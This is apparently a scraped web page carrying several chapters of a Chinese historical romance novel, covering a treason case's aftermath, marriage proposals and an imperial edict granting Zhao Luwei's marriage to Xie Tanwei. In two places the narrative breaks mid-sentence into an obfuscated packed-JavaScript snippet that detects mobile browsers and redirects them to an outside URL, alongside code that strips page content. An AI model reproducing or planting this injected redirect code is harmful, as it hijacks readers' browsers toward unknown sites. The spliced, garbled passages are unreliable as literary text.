李煦浅叹了声,不忍,“你可知,太傅,就是你的……你曾经的岳丈早已将你的事告诉朕了?朕一直只知你是娶了妻的,却不知你娶的就是赵家之女!太傅为你父亲,为先帝,何其不自顾!你就算不知,又怎能苛待妻子?朕亦是知道姚炯之事,才赐你七品衔,望你能延续家门……你啊你啊!” 天子之言,无限痛惜,姚宜苏这时才真正显出惊愕:原来,自己的一腔孤勇,所谓谋划,竟是这般可笑的。 他自被李元珍笼络身边,看似是想借势争回露微,可关于父仇,他却并不是从露微送来的信中才知。 那时,赵维贞获赦返京,便来姚家申斥于他,却在言语之间提到了父亲的往事。他一直不觉父亲的案子有何隐情,这才惶惶问询母亲华氏,可华氏已病重难言。 然而,也正是那天晚上,他的乳母马氏求见于他的书房。马氏除开是他的乳母,也是他的妾,金润娘的母亲,更则是华氏自幼的贴身侍婢,一些陈年旧故便自马氏之口重见天日。 原来,当年先帝晏驾,姚炯并非即刻被下狱,但此间已知大祸临头,可又实在不能将如此大事托付妇孺,便刺血成书,尽述其详,留了一封绝笔交给华氏。 等到姚炯下狱离世,华氏才恍然大悟,展信一看,信中除了交代了李元珍之事,便是嘱咐华氏好好教养孩子,待或将来能够翻案,再将血书呈为旁证,助赵维贞一臂之力。 可华氏惊惧之下,竟就此埋藏了当年大祸,只是愈加严厉管教二子,谨慎至极。就算赵维贞后来许婚,她也只是图赵家名位的帮衬,及至赵家被贬,她才毫不留情,撇清关系。 知晓真相后,姚宜苏虽万分苦恨母亲的作为,却也已经为赵维贞不容,无法出力。而紧接着,李元珍竟主动找上了他,于是一念之间成就了他的谋划:以身为饵,一箭双雕。 李元珍与他初交,他便猜到李元珍是想借他的医术,能近身侍奉天子,再重复谋害先帝之举。所以他每每言辞大胆,故作坦诚,就是为了让李元珍认为他可用。 很快,他果然取得了李元珍的信任,而他虽不知皇帝的计划,却能看出李煦连日称病是有玄机的。毕竟,他在保宁坊带走谢探微和露微,故意暴露,也正是借力打力之意。 这段时日,李元珍果是因保宁坊事发,心境已不大甚稳,不得不提前动作。但这些动作已逃不开皇帝的眼睛,于是当李元珍向他探问皇帝病情时,他也只说是真。 然则,李元珍并无办法求证,只能防备,便在数日前交代他在皇帝的汤药里动手,终是走到了他“以身为饵”的最后一步:他自然没有动汤药,而是要借李元珍侍疾之机当面揭露罪逆。 这个计划在他看来是完美的,若无谢探微出现,他便是救驾有功,既能报了家仇,更能以此求皇帝赐婚,再将露微明媒正娶。而这也是那一夜,他对露微言之凿凿,说他能赢的原因。 可惜,千万成算,棋差一招。 姚宜苏将所有的心迹袒露于君王,忧惶的面孔渐渐趋于一种平静的悔恨,声已暗哑:“陛下,臣有罪,但罪在臣一人,还请陛下饶恕臣的弟弟,和家人吧。” 皇帝听来,时而凝眸叹息,又作重重的几声叹息之后,却是反问:“自你入太医署以来,朕是否看重于你?你是否日日都可见到朕躬?” “是。”姚宜苏道。 皇帝的气息颤抖了下,眉头深蹙,掌心闷闷地拍在案上,“那这些事,你早可对朕直言,为何偏要铤而走险?难道你告诉朕你的父亲因楚逆而死,朕反而会杀了你不成?!” “因为臣不敢!臣不敢越职言事,臣有错在先,没有那般坦荡!臣有内顾之忧,臣是孤雏腐鼠之身——臣!只是,一介医官。” 顿首之声自冷硬的地面激荡而起,良久才落了下来。 天已大亮了。 …… 虽然露微已能自行揣摩出许多关联,但从谢探微口中拼凑出完整的事件时,她还是不免心底生寒。 露微原已知晓的是,李元珍在朝中党羽遍布,父亲先前遭贬流放,以及后来赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我不怕,只怪自己大意,也没想到他们敢在宫里动手。幸而方才去看过太子,也无事,就好了。” 然而,露微沉思之际,谢探微却也就是在想这个,便也并不能放松,“以李元珍的身份根基,在宫中安插眼线其实比他在朝中行事简单,此事我会告知阿父细查,这些人一个也跑不掉。但此事也怪我,那日在莲池,我就不该许你留在宫里。” 露微笑了,但又不禁想起谢探微之前说过,要自己不能跑得比他快,愧意自心间乍起,“对不起,我错了,可冬至已经关了我一夜,算是惩罚了,以后,不会再有这种事了。” 谢探微苦笑,将露微紧紧揽进怀中,“你没错,你做得好。只是此事,冬至做得更好。” 露微眼中酸涩,伏在谢探微的肩上,忽而生出无限贪婪,有些不肯分离了,这感觉,亦叫做踏实。 “我原也不想做让你分心的事。可昨夜有变,我突然就没底了,就算是杯水车薪,也想去帮你,故而,也并没有想得十分周全。” “微微,你多余解释了。”谢探微在露微耳畔吐出极温柔的气息,拍抚着她,一字一字,悠然念道:“来日方长,下官唯愿赵学士日日指教相帮,终生而已。” …… 回到崇贤坊家中,露微便见乔娘已准备好了沐浴用物,一问才知,原是谢探微早一步叫人回来传了话。再问起家中情形,父亲果然未归,连长兄赵启英也一早匆匆进了宫。 “这些日子都不见娘子回来,家翁也忙得不见人,宫里难道出什么大事了?” 方沐洗完毕,坐在镜架前理发,乔氏就问起来。露微一笑,倒是不知怎么解释这件天大的事,说来也话长。 “过两天乔娘就知道了。今日朝会时间不会短,你去长嫂那里传个话,叫她安心等着,另外也叫厨下备些清淡的饮食。” 乔氏当然知道自家的这个小娘子胸中有丘壑,便听话听音,也无谓问个底,但刚要转身去安排,又被叫住: “叫雪信来见我。” 乔氏看了露微一眼,也不知有什么话要交代,“她和丹渥正收拾浴房,娘子有什么事就吩咐我吧。” 露微摇头,“乔娘去歇着吧,我只要她来。” 52.啼笑 杨家门侧阍房里,陆冬至和杨淑贤对坐许久,也沉默许久。陆冬至是按昨日约定,一解禁就奔赴了杨家。杨家父兄早已更衣入朝,他似乎也没什么久留的理由。 但,就是动不开步子。 “陆冬至,你昨天为什么吓人?” 沉溺在一片无端寂静里的陆冬至被这话语猛一惊,其实音量并不高,却颇严正,“呃……宫里抓人呢,出了大事,只是,只是怕生变,对……对不起啊。” 陆冬至刚到时已稍解释了昨夜的情形,这时又看杨淑贤圆溜溜的眼睛瞪着他,不免又添了许多心虚,搜肠刮肚又道: “昨天夜里,我把露微也关起来了,她想去帮谢探微,可有危险,我既不能让她涉险,也不能对不起谢探微。” 忽然提到旁人,似是前后无关,但淑贤望着望着,眼眶却泛红了,“你怕所有人有危险,就没想过你自己?” 眼前少女语调虽缓,可眼波盈盈之间,更是直白而无拘。陆冬至不禁倒吸气,身躯随之板直,脊梁似有汗下,心头亦觉被什么撞了下,发沉也发闷,说不出一个字来。 “冬至,你今年多大了?”过了半晌,杨淑贤忽问。 陆冬至还未回过味来,干眨了两下眼,放在膝上的双手将袍边抓出了两个鼓包,“二十二。” “哦。”淑贤意味悠长地点了下头,“我阿兄问的。” …… 未及三日,李元珍案便有了发落。 李元珍罪犯大逆,难逃一死,再则位尊,也难抵悖逆之举绵延两朝,一无可悯,即判弃市。至于党羽信从,皆为绞刑,妻妾亲族,亦随坐从诛。 露微也曾读过一些国朝律法的书,可当听见舒青要也在“从诛”之列,却还是泪下潸然。而她那夜相劝舒父自首之举,于此大恶,也毫无杯水之力。 露微只见过舒青要两面,一次是宫宴上光华耀眼的楚王妃,一次是王府里紫衣单薄的深闺妇。只这两面,露微便已不记得自己曾经有没有恨过她了。 那三年,终不是她的错。 这些充满肃杀的字眼再是不忍深闻,也早已化为邸报传送天下百州。它带走了开和十九年暮春的最后一丝阳和之气。 而不遗余力蹈足而至的,除了孟夏的一夜熏风,还有天子班功行赏制书诏命。 晏令白无疑是讨逆的功臣之首,天子要加授他一品骠骑大将军,封他魏国公。他固辞不受,终究只领了骠骑大将军的散官。 谢道元授中书令同平章事,仍兼原本的天官一职,天子还有意将谢家原本的伯爵抬升一级,也被辞让。 而赵维贞,天子在诏命中将他列在首位,加任他礼部尚书,亦是要封国公,却都被推辞,哪怕是天子亲自下场劝了三回。最后无法,唯有金银财帛的赏赐。 柱国重臣各有封赏,自是名副其实,但要论风光,还要算谢探微和陆冬至二人,功虽非首,却都是翩翩年少,令人称羡。 谢探微的作为是天子亲见,加授了昭武校尉,升为司阶,从此备职宫廷;而陆冬至那夜领军戍卫,鸡犬不惊,亦是表现出众,授了致果校尉,升为中候。 其余军中诸将各有升赏,都是顺理成章,不在话下。 …… “如今这样大的喜事,娘子怎么瞧着不高兴的样子?” 一日醒来无事,露微只披衣坐在卧榻边,样子懒懒的,忽被丹渥轻扶肩膀,才觉自己神思飘远了,不禁一笑,眼神划过镜台前摆的几支钗环,倒定住了: “对了,前时叫你去赎回那步摇给……” 话到一半,只见丹渥将她的手握住,神色惊奇:“娘子怎么还问?这事前日就办了,只怕如今那杜家侍女早已离开咸京了吧!” 露微猛一恍惚,缓缓才从脑中拾起记忆。 这事原不大,善终而已。 一年多前,她因到杜石羽府前做戏,捡到了王氏的步摇,又为当时生计典卖了。如今尘埃落定,她便叫赎回了步摇送还王氏的小婢,又因这小婢再无依靠,便另赠了银钱,助其返乡。 “我竟忘干净了!”露微闭目一叹,额上竟挂下汗来。 丹渥虽也松了口气,却不免忧虑起露微的身子,“娘子精神不佳,不若再睡睡吧?” 露微倒再无睡意,此刻心境也渐渐明朗起来,正欲端茶来吃,不防户外廊庑见响起一阵急促脚步,眨眼间进来的雪信,口呼之事,竟叫她百骸一震: “娘子,谢……新安郡主来看你了!” 尚在惊愕之巅,更谈不上敛容更衣,已见话中人站在了眼前,“郡……”勉力吐出一字,就,没了。 然而,李敬颜并不觉得她是紧张惊吓,忙是双手来扶,目光细细端详,“这是怎么了?脸色这样差。” 露微可说不出口是吓的,即使她也知李氏是个宽和的人,却每每都是忐忑,何况此地此景,单独相对。 “郡主何以屈尊至此?”几个字简直刮喉咙,可刺热之感却是在两颊耳后,密密麻麻布满。 李敬颜仍不放心地瞧着露微,扶她坐了下来,“你定是那夜吓着了吧?莫要逞强,今后,我……”说着,忽一顿,又将露微的双手捂进了掌心: “我早有些话想告诉你。” 露微初时是不敢动,可李氏慈柔的目光,似温泉细流般潺潺而下,渐渐就消融了她一躯的麻木,“露微愿聆教诲。” 李氏抿唇一笑,“我,是很喜欢你的。不管是最初在将军府望见你一个背影,还是后来知晓了你的往事,都无改变。” 自知道谢家父母来了咸京,露微或揣测,或亲见,倒也并不觉得李氏对她有何微词,只是“喜欢”一词,她亦从未用过心,甚至是不受用的。 “露微狂妄,敢问郡主,既知晓我的夙事,难道心中一无论断?我只是想,凡事由人起,人有心迹,不论是非,心迹总是迹,必有轨可循的。” 李氏将露微脸上的坦荡收入眼底,仍作一笑,抬手捋过她耳边垂落的鬓发,“这就是你的巧妙之处了。” “巧妙?”诚然又是个让露微觉得不太理解的词,低了眉,亦皱眉,目光浮动起来: “我自省事起,便只觉身若浮萍,不过聊有所寄,虽不至侵肌销骨,总是心底可偶然衔起来的念头。郡主贤身贵体,必经多识广,既幸驾,便赐我一解吧。” 李氏早也随她蹙起眉来,并不为年岁相侵的明眸缓缓而细碎地缀上了星点,“何谈是赐解?我从心论之,只是觉得我是做不到如你这般的,又觉得无人该受那些事,你,很不易。” 只是这样?露微没有问出口,心中细忖,愈觉可贵:李氏辈尊而位高,却是平等地看待她的事的。 “怎么了?”良久不见露微回应,脸色也凝着,李氏不免又担心起来,“可是不舒服吗?” 露微摇头,从悠远的悟禅之路上折返回来,不自意地一笑,眼睫上不知何时沾染的薄雾就消散了,“寒灰之躯,若能承照郡主馀光,便是重燃之幸了。” …… 李敬颜想来登门探望,已是久存的心思了。如今乱事平息,才终于无可顾忌。而果然是不负所望的一番交心深谈,离开露微院中时,她脸上是一派欣然得意的神情。 “郡主此来怎么倒是半句也没提大郎?”陪同李氏而来的侍娘叶新萝方才就守在外间,心中存疑,便问起来。 李氏侧脸一笑,“你糊涂,还要怎么提?我既来了,难道还能是为别人的事么?便是早些亲近亲近,好让她心里没顾忌些,就行了。”笑容又稍停,却叹息: “只是我也才觉,太傅虽疼爱她,到底是没有母亲,能照拂入微。她大病初愈便遇上了那些骇人的事,想必没有调养过来,瞧着气色不好。等下回去,挑些补养之物送来。” 叶氏自然也是见到露微面容的,点点头,记在心里。 不多时,主仆一行已走到赵府前庭,因来时就知赵维贞外务未归,便也无须再动问。然则,正当府前登车,却另见一驾马车停在了赵家门前。下车的是个年长妇人,倒无特别,只是后跟的仆从手里竟捧着一只大雁。 “这是谁家的?!” 第一眼望见那只大雁,李氏就登时慌了,但慌也是白慌,没人认识对面的人。 …… 李氏前脚才去,露微正自觉心境不同,可更衣理妆之际,不料又见雪信忽然奔来,比之前还要慌急。而若说李敬颜的到来只是让她一时不知所措,目下这事,竟是有令天地倒悬,四时乍乱的力道。 “杨娘子身边的丛玉刚来后门传话,说杨司业已遣人到我们家为杨公子求亲了,知道娘子必不愿,要娘子现在就出去面见商议。奴婢也先去前头看了,虽然家翁未归,但那媒人函使果真已经到了,就在院里候着呢!” 杨家有意作亲,露微是早听杨淑贤提过的,只是那时大事在即,根本无暇 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此话一出,杨君游反却错愕不已:“这是哪里的话!杨某纵再不堪,也不能污人清誉以求利己啊。”又一重叹,“我是……我是自己……” “怎么了?”露微忽然意识到,杨君游无意与她的婚事,似乎并不是单纯的不愿不喜。 “哎呀急死我了!都燎眉毛了,你有什么不好意思的?!” 冷不防,杨淑贤忽然跳了起来。她自进门便陪站二人中间,今日的事原也与她无关,可长兄犹犹豫豫的模样实在看得讨嫌。 “我来说!”又瞪了眼长兄,拉住露微说道:“阿姊不必自愧,我阿兄才是早有鬼胎呢!他在苏州时就属意一个女子,只是也像这般迁延迟疑不敢探人心意,后来就调任回京了。可回家了还是半句不提,非要等父亲真给他下聘了才说出来害人!我昨晚就差点给他气死!若非事关阿姊,谁帮他?哼!” 杨淑贤素来有些妙语连珠的好本事,三言两语不但把事情摆明了,更把大她十岁有余的长兄说得面红耳赤,抬不起头来,连窗下的随从都忍笑忍得两腮鼓包。 “那,我晓得了。”露微点头,也不过是装样子,好用低头挡住脸上的笑,“只是,此事远水解不了近渴,杨员外既未向苏州那位娘子陈情,更不好以她来拒婚了。” 淑贤虽一时也无妙招,却见露微仍要自己揽下,又急得推了杨君游一把: “今日若非阿姊,也会有别家娘子,又幸而是阿姊,才有一线周旋的机会。阿兄就该立马禀明父亲,改去苏州提亲,若再迟了,你就不怕那个娘子也聘出去了?” 杨君游自然明白自己早到了婚娶之龄,又是家中唯一的儿郎,更早该让父亲宽心。昔年举了进士,父亲就已有意为他配婚,可因名次不高,放了外任,便一时作罢,延到如今。 他亦不曾想能在苏州有段缘故,竟叫他目下势成骑虎,倒并不是有意拖累露微前来听这故事。便听着小妹的话,如何再不解道理,终究说道: “我岂是不敢自己承担?只是婚姻大事,既从俗有六礼明媒,无论结果,便也该对议婚之人坦诚相见。我知道赵学士之故,何以让赵学士因我而蒙昧?此非君子所为。” 露微也算知道些杨君游的为人,可这番话说得真让人敬佩之至了,连淑贤也静了心,不再急躁。 “赵学士现在知道我的心思,我也能稍减愧疚,亦不敢再有矫饰。我未将心意及时禀明家中,实则是因为,早在我离开苏州半年余前,就从她家下人口中探知,她随亲进京了,便此失了音讯。” “那就是说,这娘子如今也在咸京了?!”淑贤不觉惊喜,两眼放光似的,“她叫什么名字?我帮阿兄一起找。” 杨君游岂是没动寻人的心思,只是数月来犹如大海捞针,一无所获,只无奈道:“我知她上京距今已将一年,兴许她已经返家了呢?咸京人流聚集,每天来往者众,你怎么找得到?” “或许,我可帮你。” 露微也知如此寻人的难度,可却想起谢探微司职金吾,与京兆府熟悉。而但凡行客进出关戍,必要官府出具的公验过所,才能通行。若这女子果真来往,便定会在京兆府留有记录。 “所以,杨员外快把这娘子的姓名告知,我才好去问的!” 杨君游哪里不知金吾和京兆的职责,被一语惊醒,再无迟疑:“她是苏州沈氏的女儿,名唤,沐芳。” 苏州沈氏?! 53.望外 谢探微履新司阶,虽还是金吾部属,却不比从前街上巡警,乃是备职宫廷,近侍天子,更须恭谨庄重。 然则这一日才到差,站在紫宸殿廊庑之下,却连金殿玉阶还没焐热,就见自己的父亲,新拜宰相的谢道元匆匆而来。再等近前一观,父亲的神色比脚步更忙。 此刻常朝早散,虽说臣子面君并不稀奇,可究竟是天子传见,还是臣工谒见,他才来也不知,只衡量着两者有别,终究也无谓多管。他想,定是与自己无关的。 唯一让他不费思量的是,父亲自来时,到两三刻后又快步离去,始终不曾舍给他一眼,即使他站位靠前,很是显眼。倒是左右的新同僚都知他父子来历,见此情状,反替他找补似的,送上了一双双促狭含笑的目光。 罢了,这也无谓同每个新认识的人解释,反正他如今的升迁都是凭自己本事得来的,无愧。他又想。 …… 从酒肆返家,露微仍是走的后门。来回不过一个时辰,却听雪信又探来消息说,父亲已经回来,杨家的媒人函使也已走了,只是并不知怎样交谈,又如何结论。 露微也不敢去问,思忖只觉“苏州沈氏”之事才是急于星火,而此事偏也有些奇巧之处—— 依杨君游所说,他知晓心上人随亲上京之时,也正是露微被谢探微带到将军府之时。露微就是在将军府上见过一次,跟随谢家父母进京的谢探微的表妹,“苏州沈氏的名门贵女”。 然则,露微仅是听这表妹自报家门如此说,却一不知其名;二也不知苏州有几家“沈氏”;三则,就算此女即彼女,一年过去,万一她已回苏州,甚至已聘,便无解了。 看来,还是得先见谢探微一面,可如今这人司职宫城,不是上街就能寻着的,又不好再拖下去了…… “娘子,不得了了!又来了!” 半日未过,雪信的喊声竟第三次穿墙而来。露微已不知该以何种态度处之,烦躁,发懵,随便吧—— “又怎么了?!天塌了?” 雪信在隔屏前刹住脚,面色红白交替,吐一口气恨不能先吸进三口:“天没塌,是新安县主又来了,谢尚书也来了,是来……” 雪信不大清明朝廷的事,还以谢父之前的官职相称,露微方想纠正,却才听这个大喘气的人交代了下半句: “是来为谢公子向娘子提亲的!” 露微目光一缩,似无限惊惧,继而平白起了一阵猛咳。但身体剧烈的震荡,却教思绪从纷乱中渐渐归位,再无言辞,她抬脚奔出了房中。 …… 过午,紫宸殿前金吾换防,谢探微回到卫署,因天气渐热,通身甲胄早焐得中衣汗透,他便只想赶紧卸甲更衣。可刚走到职房门前,却忽有一个士兵奔来叫他,也不知缘故,只说将军传唤。 于公于私,谢探微都不敢耽误晏令白的事,便立马转向去了卫署正堂。然则到时,除了晏令白,堂上竟还站着天子内官丁仁成。 “谢司阶,陛下命我去传旨,命你仪从护卫,既来了,不必多礼,快随我走一趟吧。” 谢探微尚在行礼之间,也不及问其事,就被丁仁成拦了下来。再看晏令白,只是清清嗓子,还把脸挪开了,也不理他。 “请问丁内官,往何处传旨啊?为何单叫下官一人护卫?”谢探微虽清楚金吾是有仪从之责,但君王有命,自有固定的仪仗,并没有只叫一人的道理。 丁仁成皱了皱眉,“你去了不就知道了吗?左右是陛下之命,你还敢质疑不成?” 谢探微只是疑惑,倒不敢领这个罪过,忙缄口不提,跟随去了。只是不免又出了两身汗,汗酸味自甲胄下阵阵飘出,窜入鼻腔,由不得他揪眉龇牙,连连吐气。 …… 立夏才过,百物滋润,径侧垂下的万千丝绦,随着猝然拂过的纤薄肩膀任性翻扬,便索性馈赠了几片碧玉在云鬟之间。 顷刻,这满沾清芬夏意的身影翩然入堂,敛去声色,悄然挪移,于淡烟流水的画屏之后,低低伏下,轻轻侧耳。 一时只有些茶盏之声,想来客人并非才到,来意应也无须多言,难道是在等父亲的示下?或是父亲依旧不愿松口? 露微正心中无底,一声清脆的置盏声后,忽然听见了谢家父亲的话音:“太傅之心,谢某其实深知,为人父母而已。” 谢家这对父母,李氏自不必再多想。倒是这位父亲,因谢探微之故,露微由来的感觉只是敬畏。便也不曾想,他竟能为谢探微亲自登门求亲。 而其实,两家议婚之初并不需要双亲直接出面,只是要问女家之意,像杨家那样遣媒人函使前来才是依礼,既无唐突,更是留给彼此进退的余地。 故而,父母具到,意思也不言自明了。 “我谢家虽世受天恩,忝承门荫,然先人绪业,不过仰赖子孙延庆,故谢家教示子弟,素以修身立志,律身守道为诫。太傅想已知晓,谢某长子虽自幼无赖,但五岁上便送至边州,跟随晏将军修习历练,如今也算薄有功名。” 露微虽有些思忖,但听到此处,仍不觉提了口气,淡淡笑意便自唇角浮现:谢探微大约还不知道父母来此,更应该不会想到,一向低看他的父亲竟夸他了。 “太傅厚德,若能于明镜高台之上,略布春泽,便是小犬终生大幸。亦素闻令爱德才兼备,既为太傅掌珠,亦堪当世贤媛,谢家敢以礼请,愿结高援,伏乞太傅不遗,恩赐嘉命!” 议婚自是要说些动听的话,可露微只见过婚书上的官样套话,便此听来,早已面红耳热,虽躲避屏后,犹如曝露人前。然则,又不得不感慨谢家一片至纯,非同俗流。 暂按心中狂跳,露微不由更向屏布贴近了些,想瞧一瞧外头父亲的动作,倒只见纹丝不动的一个朦胧身影端于上座。 然而,话音落下并不算久,终究等到了父亲的回应:“谢相过誉了,也不必过于自谦。只是赵某尚有一问不解,还请赐教。” 父亲的语气很是平常,露微觉不出味来,只看屏上透影,堂侧席上,谢家父母双双起身,同声一齐:“太傅请讲!” 父亲却发出轻笑,复请他们回座,才慢慢说道:“赵某只是前时风闻一事,贵公子竟有意为小女入赘我家,不知可是当真?若是真,也不知谢相和郡主可舍得?” 刚还惠风和畅,霎时彤云密布——这入赘之言几时被父亲知道的?!父亲又当着谢家明说,难道是要逼迫他们就范?就算要拿些架子,父亲何时成了这样的人了?! 十万火急了,不管谢家会不会接这话,露微都无法再作壁上观,立刻绕过画屏,跑到了堂上: “阿耶从哪里听得此事?既是风闻,必不是真!” 堂上尊长岂料露微忽然出现,都惊得站起来。尤其是赵维贞,脸色青白,怒也不是,回也难回,一双眼珠瞪得快弹出来。一晌,倒是李氏从后拉住了露微,皱眉一笑,对她摇了摇头。 露微也是一时意气上头,眼珠自李氏望到谢父,又到自己的父亲,来往两遍,终一恍然,想起礼节的事,大为羞惭,忙缩退了两步,双膝下跪: “阿耶恕罪,是露微冲撞了。”说着便将双手举过头顶,“阿耶莫要生气,打我就是了。” 赵维贞从未打过露微一次,露微也是第一次对父亲做此状,从前只是母亲宋容如此罚她,用竹尺打手心。 然而,赵维贞尚无动作,家法也没人递来,李氏便俯身护下了露微,谢道元更则挡在了露微面前,替她求告: “太傅,女儿身躯娇弱,不堪责打。不若谢某现在就去将犬子唤来,太傅打他出气也就是了,随便打,谢某绝不阻拦!” 赵维贞胸中气浪稍平,但自家女儿如此拆台,实在脸上难堪,而见谢家夫妇这般作态,自己更是大势已去了。于是,重重一叹,挥手指向女儿: “还不起来?!休再放肆!” 露微并不敢觉是宽恕,这约莫也是父亲对她说过最重的一句话,便向李氏和谢道元略一致礼,低着头走向了父亲身后。 一时不知此事还能如何化解,但不及露微走完这两三步路,堂外忽报:“圣旨下。” 再等她惊觉转身,第一眼对上的竟是谢探微的脸。这人的目光在白日里亦如明灯般,闪着令她满面灼热的光泽。 他怎么来了?偏他父亲才提了,就这样巧?!露微愕然,但隔着一堂众人不好靠近,手持圣意的也另是内官丁仁成。 赵家还是第一次有天子的使臣亲临,赵维贞急忙迎了上去,伏跪听宣,“臣赵维贞接旨。” 自然,包含露微在内,所有人都随后齐齐跪下了。 只听—— “维开和十九年,岁次辛巳,四月初十日,皇帝若曰,太子太傅赵维贞女赵露微,禀性贤婉,幼彰惠问,朗然夙成,敏晤内昭,今特赐婚于中书令同平章事、吏部尚书、江都伯谢道元子谢探微,二姓之合,千秋万岁,永结同好,钦哉。” 原来,谢探微的灼灼目光是因这一道赐婚的圣旨。 宣旨之声落定,父亲接了旨,丁仁成在向尊长们道贺,而露微却一时不曾起身,似还没缓过神,直到一双有力的臂膀将她扶起,又大胆地将她带离了喧杂。 “微微,你不高兴吗?!” 还是来时青条如帘的小径,眼前人目光也依然灼热。 “我,你……”明明就是高兴,却像初学蒙童,还不知几个辞藻,不知何以形容,“是你去向陛下求的?” 谢探微压不下嘴角,只摇头看了眼身后中堂的方向,“不是我,大概是我父亲。你信不信,我是到了你家门前才知道的?” 露微眼睛略略睁大,不禁联想先前谢道元的言辞态度,果然有备而来,舒气一笑,“信。” 但见爱人展颜,谢探微再也等不及,也无须再顾忌,立马将人拥入了怀中,“天子金口,从现在起,你就是我谢探微的妻子了!” 知道这人忘情,露微却被挤在坚硬的盔甲上,半身都硌得慌,“你等等,我有话问你!” “什么?你说就是!”谢探微虽放开人,却还是要牵着手,气息微喘,早已无法静心。 露微提了口气,抿去笑容,“你之前是不是和我阿耶说了,你想要入赘我家?你来之前,阿耶还反问你父亲了!” 虽然婚事有了结果,但露微不想心里还悬着个谜题。思来想去,此事她托付过晏令白,但晏令白与她有约,不大可能转告旁人,便只能是谢探微自己了。 果然,谢探微直接就点了头:“当日在宫中戒备,遇见太傅,就壮了胆子说了。虽然他一个字都没回我,可我也算踏实了几天。微微,你不知,我自和父母提了,一直不曾得到他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13744447|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们的允准,后来保宁坊隔日,我又问母亲,母亲却说不能如我所愿。我便急了,参不透他们什么意思,就只有孤注一掷了。” 露微听是这番隐情,倒比圣旨如何得来还惊诧,“你啊,以后别犯傻了,自作聪明。” 虽嗔怪,却也是心疼。露微一直都知道,谢探微是个对认定之事一腔热忱,不管不顾的人。 “微微,你别怕!”谢探微只看露微眉眼半低,似有失落,便更添了愧疚,“虽然没成,我们婚后还是可以住在你家,我保证!” 露微一笑摇头,只想,谢家父母不让他如愿,恐怕也有几分是因自己托付晏令白之故,却都不必告诉他了。 “你不如先先算算,要拿多少聘财来吧!” …… 二人未说多久,谢探微就被李氏身边的叶新萝带走了。然则谢家人才一离去,露微也被父亲叫到了书房,想来也是必然。 因是有错在前,露微早将喜悦心情先排在了屋外,也不似平时依偎父亲膝下,见礼后就垂手站着。 赵维贞目光几次抬起,拂过女儿面容,又很快低下去,许久才张口:“是那小子自己说要入赘的,阿耶不曾冤枉他。” 露微自是要和父亲认错的,便也预备着要先听教训,可不曾想,父亲的第一句话就与责备不相干,竟是解释,反要向她低头。她的心一颤,眼睛立时红了: “阿耶不生我的气么?” 赵维贞又避了目光,置于案上的右手却缓缓握紧,“陛下都赐婚了,如你所愿,我还有什么气可生?你去吧,我没什么话了。” 露微盯着父亲侧脸,两行眼泪早已涌泉而出,如何还能看不懂,两步跨去,扑进了父亲怀抱:“我才不走!” 赵维贞丝毫未料,被女儿拥入的一瞬,整个身体险些向后倾倒,便也是这时,再也忍不住心中情愫,泪水纵横而下。 不知多久,天色都暗了几重,听见女儿哭声渐轻,赵维贞才拍扶着,缓缓抬起了女儿双臂,“是喜事,要高兴才是,不要哭了,哭花了脸,怎么漂漂亮亮地做新妇啊?” 露微一时想起了很多事,自记事来,父亲与她相处的点滴,此刻竟都成了不舍,上一次出嫁前也并不觉多深刻。 “看来阿耶还是有话的,刚刚骗人!”她挤出一笑。 赵维贞深吸了口气,亦是含笑带泪,“微微,你该知道,杨司业家今日也遣了媒人来吧?若没有谢家这一桩缘故,其实阿耶心里是属意杨家公子的。” 露微无谓表明“沈氏”的存在,只是十分理解:“杨家长兄确是至诚君子,而且门户相当,也算阿耶知根底的人家,对吗?” 赵维贞点头,叹了声:“但阿耶想得明白,微微喜欢最重要。只是有些事,阿耶还是要和你解释,你道阿耶先前为何一直对谢家态度不明?一则是因逆党未除,与谢家攀亲,未免被奸人视作结党,授人以柄,于大事无益;二来么……” 结党之嫌,露微早已明白,却不料还有别的,看父亲的神色,又似乎比结党还严重,“是什么?” “是天子。”赵维贞握紧了女儿的手,怕她吓住,“你还记得,阿耶同你说过,天子也许会过问你的婚事么?” 露微确有一惊,想起这是她被封为女官后不久的事,“记得。” 赵维贞却忽一苦笑,“都怪我的女儿天资过人啊!” 露微自然不解父亲的反应,但继续听下去,竟起了一身的鸡皮。 原来,自正月的宫宴上,天子说起她和谢探微的名字像兄妹,就是在有意提醒两家,不要急于结亲。这固是赵维贞所说的第一个原因,却也因接下来发生的事,促成了第二个暧昧不清的缘故。 那是露微第一天侍奉东宫,因与太子一见如故,言谈不拘,斗胆教了太子一些道理。却都被隐藏的天子瞧见,随驾而来的父亲生怕天子不悦,就出言告罪。 竟不料,天子非但没有不悦,还说了句露微“很该到朕家来”。这便由不得让人猜测,难道天子是想将露微指婚太子?还是说,天子自己有意,要纳露微为妃? “圣心难测,好在都不是这些原因。所以,阿耶也算到今天才敢真正放心啊。” 露微感慨不已,只想自己行事已经够低调了,数月来也不曾出过一次纰漏,“不然,阿耶替我向陛下辞官吧?” 赵维贞却摇头:“若是陛下有意,既赐婚,何不顺势免了你的差事?便是无意,当真看重你罢了。先前陛下行赏,阿耶一一辞让,也就够了。” 这话每一个字都是好懂的,可露微细细忖度,倒觉另有隐衷。父亲从来不慕名利,为国大事,吃多少苦都甘之如饴,但为何自己辞让便够了?仿佛女官身份也是因功封赏,这却是不通了。 “阿耶既怕我太过出挑,我能辞官自是最好,可阿耶又如此说,难道——是怕我到了谢家,再因出身往事被人欺负,好用这御赐的身份,替我撑腰?” 话音落下,赵维贞的神色也随之凝固,良晌付之深深一叹,“微微,”又一顿,哑然失笑,“是,就是如此。你啊,何不就生得笨一些才好呢?” 露微直接笑出声来,搓了搓脸,仍偎进父亲怀里:“我若蠢笨,哪里还能授官?只怕阿耶真要给我找个上门女婿,天天看着了!” 赵维贞再说不得什么,满室只闻阵阵朗笑。 54.父子 